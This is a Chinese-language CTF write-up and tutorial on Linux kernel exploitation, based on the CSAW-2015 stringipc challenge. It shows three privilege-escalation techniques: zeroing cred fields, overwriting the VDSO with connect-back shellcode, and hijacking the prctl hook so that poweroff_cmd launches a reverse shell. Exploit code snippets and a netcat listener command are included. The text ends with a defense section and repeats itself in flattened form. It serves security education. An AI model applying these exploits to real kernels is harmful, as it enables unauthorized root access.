KERNEL PWN入门总结——从内存任意读写到权限提升
字数 1620 2025-08-19 12:42:38

Linux内核漏洞利用入门:从内存任意读写到权限提升

1. 环境搭建与题目分析

1.1 环境准备

  • 内核版本:linux-4.4.110
  • busybox版本:1.21.1
  • 题目源码:CSAW-2015-CTF的stringipc题目

1.2 题目分析

题目维护了一块由kzalloc(sizeof(*channel), GFP_KERNEL)创建的内存块,提供以下功能:

  • 内存块读、写
  • 内存块扩展或缩小

1.3 漏洞分析

漏洞存在于realloc_ipc_channel函数中:

static int realloc_ipc_channel(struct ipc_state *state, int id, size_t size, int grow) {
    struct ipc_channel *channel;
    size_t new_size;
    char *new_data;
    
    channel = get_channel_by_id(state, id);
    if (IS_ERR(channel)) return PTR_ERR(channel);
    
    if (grow)
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;
    
    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if (new_data == NULL) return -EINVAL;
    
    channel->data = new_data;
    channel->buf_size = new_size;
    ipc_channel_put(state, channel);
    return 0;
}

关键漏洞点:

  1. new_size = 0时,krealloc会返回ZERO_SIZE_PTR(定义为(void *)16
  2. 通过构造new_size = 0 - 1(即0xffffffffffffffff),可以绕过检查
  3. 最终获得内存任意读写能力

2. 利用方法一:修改cred结构体提权

2.1 关键数据结构

2.1.1 thread_info结构

struct thread_info {
    struct task_struct *task;  /* main task structure */
    __u32 flags;               /* low level flags */
    __u32 status;              /* thread synchronous flags */
    __u32 cpu;                 /* current CPU */
    mm_segment_t addr_limit;
    unsigned int sig_on_uaccess_error:1;
    unsigned int uaccess_err:1; /* uaccess failed */
};

2.1.2 task_struct结构(简化)

struct task_struct {
    volatile long state;
    void *stack;
    atomic_t usage;
    unsigned int flags;
    unsigned int ptrace;
    
    /* process credentials */
    const struct cred __rcu *ptracer_cred;
    const struct cred __rcu *real_cred;
    const struct cred __rcu *cred;
    
    char comm[TASK_COMM_LEN]; /* executable name */
    /* ... */
};

2.1.3 cred结构体

struct cred {
    atomic_t usage;
    kuid_t uid;    /* real UID */
    kgid_t gid;    /* real GID */
    kuid_t suid;   /* saved UID */
    kgid_t sgid;   /* saved GID */
    kuid_t euid;   /* effective UID */
    kgid_t egid;   /* effective GID */
    kuid_t fsuid;  /* UID for VFS ops */
    kgid_t fsgid;  /* GID for VFS ops */
    /* ... */
};

2.2 利用步骤

  1. 使用prctl(PR_SET_NAME, "targetname")设置线程名
  2. 在内核内存中搜索该字符串(范围:0xffff880000000000~0xffffc80000000000)
  3. 找到task_struct后,定位cred结构体
  4. cred中的UID/GID相关字段全部写0

2.3 EXP代码关键部分

// 设置目标线程名
char target[16];
strcpy(target, "try2findmep4nda");
prctl(PR_SET_NAME, target);

// 搜索内存
for(; addr < 0xffffc80000000000; addr += 0x1000) {
    seek_args.index = addr - 0x10;
    ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
    ioctl(fd, CSAW_READ_CHANNEL, &read_args);
    
    result = memmem(buf, 0x1000, target, 16);
    if(result) {
        cred = *(size_t*)(result - 0x8);
        real_cred = *(size_t*)(result - 0x10);
        if((cred || 0xff00000000000000) && (real_cred == cred)) {
            target_addr = addr + result - (int)(buf);
            printf("[+]found task_struct 0x%lx\n", target_addr);
            printf("[+]found cred 0x%lx\n", real_cred);
            break;
        }
    }
}

// 修改cred
for(int i = 0; i < 44; i++) {
    seek_args.index = cred - 0x10 + 4 + i;
    ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
    root_cred[0] = 0;
    write_args.buf = (char*)root_cred;
    write_args.count = 1;
    ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);
}

3. 利用方法二:劫持VDSO

3.1 VDSO基础知识

  • VDSO(Virtual Dynamic Shared Object)是内核映射到用户空间的内存区域
  • 包含常用系统调用的快速实现(如gettimeofday
  • 内核可读写,用户空间可读可执行

3.2 利用原理

  1. 找到VDSO在内核中的映射地址
  2. 修改VDSO中的函数(如gettimeofday)为shellcode
  3. 等待高权限进程调用被修改的函数

3.3 关键步骤

  1. 爆破搜索VDSO(范围:0xffffffff80000000~0xffffffffffffefff)
  2. 识别VDSO通过ELF头特征和函数名
  3. 覆盖目标函数(如gettimeofday在偏移0xc80处)

3.4 Shellcode示例

nop
push rbx
xor rax, rax
mov al, 0x66
syscall        # check uid
xor rbx, rbx
cmp rbx, rax
jne emulate
xor rax, rax
mov al, 0x39
syscall        # fork
xor rbx, rbx
cmp rax, rbx
je connectback
emulate:
pop rbx
xor rax, rax
mov al, 0x60
syscall
retq
connectback:
# 反弹shell代码...

4. 利用方法三:劫持prctl

4.1 原理分析

  1. prctl最终调用security_task_prctl
  2. security_task_prctl通过hp->hook.task_prctl调用实际处理函数
  3. 该hook位于内核data段,可被修改

4.2 关键函数

int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
                       unsigned long arg4, unsigned long arg5) {
    int thisrc;
    int rc = -ENOSYS;
    struct security_hook_list *hp;

    list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
        thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
        if (thisrc != -ENOSYS) {
            rc = thisrc;
            if (thisrc != 0)
                break;
        }
    }
    return rc;
}

4.3 利用call_usermodehelper

int call_usermodehelper(char *path, char **argv, char **envp, int wait) {
    struct subprocess_info *info;
    gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
    
    info = call_usermodehelper_setup(path, argv, envp, gfp_mask, NULL, NULL, NULL);
    if (info == NULL) return -ENOMEM;
    
    return call_usermodehelper_exec(info, wait);
}

4.4 利用步骤

  1. 找到VDSO获取内核基址
  2. 定位prctl_hookpoweroff_cmd地址
  3. 修改poweroff_cmd为反弹shell命令
  4. prctl_hook指向poweroff_work_func

4.5 EXP关键代码

// 修改poweroff_cmd
strcpy(buf, "/reverse_shell\0");
seek_args.index = order_cmd - 0x10;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.buf = buf;
write_args.count = strlen(buf);
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);

// 修改prctl_hook
*(size_t*)buf = poweroff_work_func_addr;
seek_args.index = prctl_hook - 0x10;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_args);
write_args.buf = buf;
write_args.count = 20+1;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_args);

// 触发
if(fork() == 0) {
    prctl(addr, 2, addr, addr, 2);
    exit(-1);
}
system("nc -l -p 2333");

5. 总结与防御

5.1 三种利用方法对比

  1. 修改cred:直接有效,但需要定位cred结构
  2. 劫持VDSO:隐蔽性强,但需要等待高权限进程触发
  3. 劫持prctl:灵活可靠,但需要更多内核知识

5.2 防御措施

  1. 启用SMEP/SMAP防止用户空间代码执行
  2. 内核地址随机化(KASLR)
  3. 对内核内存写操作进行严格检查
  4. 关键数据结构保护(如cred结构)

5.3 学习资源

  1. Bypassing SMEP Using vDSO Overwrites
  2. New Reliable Android Kernel Root Exploitation Techniques
  3. Linux内核源码分析

通过这三种方法的学习,可以深入理解Linux内核漏洞利用的基本原理和技术路线,为进一步研究内核安全打下坚实基础。

Linux内核漏洞利用入门:从内存任意读写到权限提升 1. 环境搭建与题目分析 1.1 环境准备 内核版本:linux-4.4.110 busybox版本:1.21.1 题目源码:CSAW-2015-CTF的stringipc题目 1.2 题目分析 题目维护了一块由 kzalloc(sizeof(*channel), GFP_KERNEL) 创建的内存块,提供以下功能: 内存块读、写 内存块扩展或缩小 1.3 漏洞分析 漏洞存在于 realloc_ipc_channel 函数中: 关键漏洞点: 当 new_size = 0 时, krealloc 会返回 ZERO_SIZE_PTR (定义为 (void *)16 ) 通过构造 new_size = 0 - 1 (即 0xffffffffffffffff ),可以绕过检查 最终获得内存任意读写能力 2. 利用方法一:修改cred结构体提权 2.1 关键数据结构 2.1.1 thread_ info结构 2.1.2 task_ struct结构(简化) 2.1.3 cred结构体 2.2 利用步骤 使用 prctl(PR_SET_NAME, "targetname") 设置线程名 在内核内存中搜索该字符串(范围:0xffff880000000000~0xffffc80000000000) 找到 task_struct 后,定位 cred 结构体 将 cred 中的UID/GID相关字段全部写0 2.3 EXP代码关键部分 3. 利用方法二:劫持VDSO 3.1 VDSO基础知识 VDSO(Virtual Dynamic Shared Object)是内核映射到用户空间的内存区域 包含常用系统调用的快速实现(如 gettimeofday ) 内核可读写,用户空间可读可执行 3.2 利用原理 找到VDSO在内核中的映射地址 修改VDSO中的函数(如 gettimeofday )为shellcode 等待高权限进程调用被修改的函数 3.3 关键步骤 爆破搜索VDSO(范围:0xffffffff80000000~0xffffffffffffefff) 识别VDSO通过ELF头特征和函数名 覆盖目标函数(如 gettimeofday 在偏移0xc80处) 3.4 Shellcode示例 4. 利用方法三:劫持prctl 4.1 原理分析 prctl 最终调用 security_task_prctl security_task_prctl 通过 hp->hook.task_prctl 调用实际处理函数 该hook位于内核data段,可被修改 4.2 关键函数 4.3 利用call_ usermodehelper 4.4 利用步骤 找到VDSO获取内核基址 定位 prctl_hook 和 poweroff_cmd 地址 修改 poweroff_cmd 为反弹shell命令 将 prctl_hook 指向 poweroff_work_func 4.5 EXP关键代码 5. 总结与防御 5.1 三种利用方法对比 修改cred :直接有效,但需要定位cred结构 劫持VDSO :隐蔽性强,但需要等待高权限进程触发 劫持prctl :灵活可靠,但需要更多内核知识 5.2 防御措施 启用SMEP/SMAP防止用户空间代码执行 内核地址随机化(KASLR) 对内核内存写操作进行严格检查 关键数据结构保护(如cred结构) 5.3 学习资源 Bypassing SMEP Using vDSO Overwrites New Reliable Android Kernel Root Exploitation Techniques Linux内核源码分析 通过这三种方法的学习,可以深入理解Linux内核漏洞利用的基本原理和技术路线,为进一步研究内核安全打下坚实基础。